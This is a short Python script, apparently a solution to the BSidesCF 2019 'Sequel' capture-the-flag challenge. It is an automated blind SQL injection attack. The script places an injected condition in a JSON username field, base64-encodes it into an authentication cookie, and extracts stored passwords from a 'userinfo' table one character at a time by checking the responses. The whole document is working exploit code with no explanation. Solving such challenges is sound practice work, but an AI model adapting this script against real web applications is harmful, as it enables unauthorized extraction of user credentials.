[BSidesCF2019]Sequel

import requests

import base64

import string

import time

url = "http://0eaa6072-56ef-4b36-9ba7-a0e1d673c493.node4.buuoj.cn:81/sequels"

flag = ''

for x in range(1, 10):

    print(x)

    for n in range(1, 40):

        for i in string.printable:

            time.sleep(0.1)

            tmp = flag + i

            u = r'\" or (substr((select password from userinfo limit {},1),{},1)=\"{}\") or \"'.format(

                x, n, i)

            payload = '{"username":"%s","password":"guest"}' % u

            # print(payload)

            cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}

            res = requests.get(url, cookies=cookies)

            if "Movie" in res.text:

                flag = tmp

                print(flag)

                break